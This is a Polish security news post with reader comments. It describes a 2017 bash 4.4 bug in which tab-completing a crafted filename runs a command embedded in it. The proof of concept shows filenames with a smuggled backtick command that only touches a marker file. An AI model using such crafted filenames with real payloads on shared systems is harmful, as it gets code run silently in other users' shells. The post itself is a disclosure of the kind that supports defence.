Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Bash – wykonanie dowolnego kodu przez autocomplete (!)

07 lutego 2017, 20:06 | W biegu | komentarze 3

Jeśli ktoś używa basha, zapewne zna domyślne działanie klawisza <tab> – umożliwia to wygodne dopełnienie długiej nazwy pliku.

Okazuje się, że tworząc odpowiednio spreparowaną nazwę pliku (z zaszytym poleceniem do wykonania), osoba która uruchomi autodopełnienie (naciśnie tab) na tym pliku – wykona nasz kod.

PoC? Proszę bardzo:

bash-4.4# ls -l 
total 0
-rw------- 1 root root 0 Feb  7 18:57 yyyyy"`touch bzzz2`
bash-4.4# chmod 755 y[tab]yyyy\"\`touch\ bzzz2\` ^C
bash-4.4# ls
bzzz2  yyyyy"`touch bzzz2`
bash-4.4# rm bzzz2 
bash-4.4# chmod 755 y[tab]yyyy\"\`touch\ bzzz2\` 
bash-4.4# ls
bzzz2  yyyyy"`touch bzzz2`
bash-4.4# 

Albo np. tak:

bash-4.4# ls -l
total 0
-rwxr-xr-x 1 test test 0 Feb  7 18:57 yyyyy"`touch bzzz2`
bash-4.4# rm [tab]yyyyy\"\`touch\ bzzz2\` 
bash-4.4# ls -l
total 0
-rw-r--r-- 1 root root 0 Feb  7 19:11 bzzz2
bash-4.4# 

Jak widać można umieścić na filesystemie długą nazwę pliku i na końcu dodać „`polecenie do wykonania`  i przy dopełnieniu – voila, kod się niewidocznie wykona.

Czy panikować? Z jednej strony bug został pierwotnie wprowadzony w 2015 roku (w repozytorium devel), i został włączony do wersji stable 4.4 (wydanej we wrześniu 2016 roku), z drugiej większość Linuksów na szczęście nie zdążyła udostępnić aż tak nowego basha w swoich repozytoriach. Choć np. Arch Linux – tak.

–ms

 

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. barthalion

    Przelewam na dowolne piwo temu, kto udowodni, że bug można wykorzystać na Archu.

    Odpowiedz
  2. barthalion

    Albo na czymkolwiek. Jedyną większą dystrybucją z jakąkolwiek formą basha 4.4 jest OpenMandriva:

    GNU bash, version 4.4.0(1)-rc1 (x86_64-mandriva-linux-gnu)
    [root@3a609221db3e /]# touch 'foobar”`touch rak-sekurak’
    [root@3a609221db3e /]# mv fobash: bad substitution: no closing „`” in `touch rak-sekurak
    obar\”\`touch\ rak-sekurak ^C

    Pliku nadal nie ma.

    Odpowiedz
  3. twostep

    w RHEL 7.3 stan na 2017.02.08:
    GNU bash, version 4.2.46

    Odpowiedz

Odpowiedz